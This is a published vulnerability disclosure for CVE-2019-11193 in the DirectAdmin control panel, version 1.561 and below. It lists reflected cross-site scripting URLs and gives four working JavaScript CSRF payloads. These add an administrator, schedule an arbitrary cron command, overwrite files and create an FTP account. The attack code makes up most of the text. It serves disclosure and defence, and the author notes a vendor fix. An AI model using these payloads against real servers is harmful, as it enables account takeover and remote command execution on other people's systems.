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DirectAdmin 1.561 Cross Site Scripting

DirectAdmin 1.561 Cross Site Scripting
Posted Apr 12, 2019
Authored by Numan OZDEMIR

DirectAdmin versions 1.561 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2019-11193
SHA-256 | dcaf32312339441ba4c692d4b9603ae0978bffa52472b7c46e4e7c952fa3098d

DirectAdmin 1.561 Cross Site Scripting

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# Title: DirectAdmin Multiple Vulnerabilities to Takeover the Server <= 
v1.561
# Date: 12.04.2019
# Author: Numan OZDEMIR
# Vendor Homepage: https://www.directadmin.com/
# Version: Up to v1.561.
# CVE: CVE-2019-11193
# info@infinitumit.com.tr && root@numanozdemir.com
# Detailed: https://numanozdemir.com/respdisc/directadmin.pdf

# Description:
# Multiple security vulnerabilities has been discovered in popular
server control panel DirectAdmin, by
# InfinitumIT. Attackers can combine those security vulnerabilities and
do a lot of critical action like server control takeover.
# Those vulnerabilities (Cross Site Scripting and Cross Site Request
Forgery) may cause them to happen:
# Add administrator, execute command remote (RCE), Full Backup the
Server and Upload the Own Server, webshell upload and more.

# Reflected XSS Vulnerabilities:
# https://SERVERIP:2222/CMD_FILE_MANAGER/XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_USER?user=XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_RESELLER?user=XSS-PAYLOAD

# Example Payloads:
# Add Administrator:
var url = "http://SERVERIP:2222/CMD_ACCOUNT_ADMIN";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&username=username&emai
l=test%40test.com&passwd=password&passwd2=password&notify=ye";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Remote Command Execution by Cron Jobs:
var url = "http://SERVERIP:2222/CMD_CRON_JOBS";
var params =
"action=create&minute=*&hour=*&dayofmonth=*&month=*&dayofweek=*&command=command";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Edit File:
var url = "http://SERVERIP:2222/CMD_ADMIN_FILE_EDITOR";
var params = "file=the-file-full-path&action=save&text=new-content";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Create FTP Account:
var url = "http://SERVERIP:2222/CMD_FTP";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&domain=infinitumit.com.tr
&user=username&passwd=password&random=Save+Password&passwd2=password&type=domain&cu
stom_val=%2Fhome%2Fusername&create=Create";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);


# Vulnerabilities are fixed in minutes, thanks to DirectAdmin.
# InfinitumIT / For safer days...

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